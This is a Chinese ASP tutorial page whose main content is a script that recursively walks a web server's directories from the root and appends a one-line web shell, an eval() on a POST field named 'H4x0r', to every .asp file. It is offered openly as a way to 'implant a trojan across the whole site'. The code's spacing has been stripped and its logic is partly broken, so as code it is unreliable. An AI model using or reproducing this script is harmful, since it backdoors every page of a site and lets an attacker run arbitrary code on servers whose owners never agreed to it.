手机
当前位置:查字典教程网 >编程开发 >ASP教程 >FSO遍历目录实现全站插马的代码
FSO遍历目录实现全站插马的代码
摘要:

<%

dimph

dimintfile

server.ScriptTimeout=600

ph=server.mappath("/")

SubInsertAllFiles(Path)

SetFSO=CreateObject("Scripting.FileSystemObject")

onerrorresumenext

Setf=FSO.GetFolder(Path)

Setfc2=f.files

ForEachmyfileinfc2

Iflcase(FSO.GetExtensionName(path&""&myfile.name))="asp"then

SetFS1=CreateObject("Scripting.FileSystemObject")

Settfile=FS1.opentextfile(path&""&myfile.name,8,false)

tfile.writeline"<SCRIPTRUNAT=SERVERLANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')</SCRIPT>"

else

InsertAllFiles(newpath)

endif

tfile.close

Next

Setfsubfolers=f.SubFolders

ForEachf1infsubfolers

newpath=path&""&f1.name

InsertAllFiles(newpath)

Next

settfile=nothing

SetFSO=Nothing

EndSub

%>

<%

callInsertAllFiles(ph)

%>

【FSO遍历目录实现全站插马的代码】相关文章:

记录集内随机取记录的代码

用XML+FSO+JS实现服务器端文件的

ASP下实现自动采集程序及入库的代码

asp中实现随机分组程序的代码

asp FSO 读写文件本文件实现代码

用asp实现批量删除bak文件

一段采集程序代码

asp实现sql的备份与恢复

用asp实现的数据库中存取文件的代码

ASP + Serv-u 实现FTP的代码

精品推荐
分类导航